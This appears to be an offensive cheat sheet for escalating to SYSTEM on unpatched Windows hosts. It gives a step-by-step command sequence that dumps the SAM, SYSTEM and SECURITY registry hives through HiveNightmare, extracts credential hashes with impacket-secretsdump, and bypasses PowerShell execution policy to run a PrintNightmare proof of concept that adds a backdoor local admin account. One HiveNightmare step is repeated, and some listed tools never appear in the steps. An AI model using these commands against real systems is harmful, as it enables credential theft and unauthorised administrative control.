This attack leverages Windows kernel exploits to escalate privileges on systems with missing critical security updates. By exploiting vulnerabilities such as MS08-067, MS17-010 (EternalBlue), HiveNightmare, and PrintNightmare, attackers can gain SYSTEM privileges through remote code execution or local privilege escalation techniques.
Command Reference: wmic, icacls, msfvenom, python3 -m http.server, curl, net localgroup, Impacket-secretsdump, PowerShell
Target: Windows systems with missing critical security patches such as MS08-067, MS17-010, CVE-2021-36934, CVE-2021-34527
# Enumerate installed updates
systeminfo
# 1. Enumerate installed patches to identify missing security updates
wmic qfe list brief
Get-Hotfix
# 2. Check critical files permissions for vulnerabilities e.g. SAM registry hive
icacls c:\Windows\System32\config\SAM
# 3. Exploit HiveNightmare to dump SAM, SYSTEM, and SECURITY registry hives as unprivileged user
.\HiveNightmare.exe
# 4. Extract credentials from dumped hives using Impacket secretsdump tool offline
impacket-secretsdump -sam SAM-YYYY-MM-DD -system SYSTEM-YYYY-MM-DD -security SECURITY-YYYY-MM-DD local
# 5. Use HiveNightmare PoC to dump registry hives with unprivileged user
.\HiveNightmare.exe
# 6. Bypass PowerShell execution policy and run PrintNightmare PoC to add local admin user
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"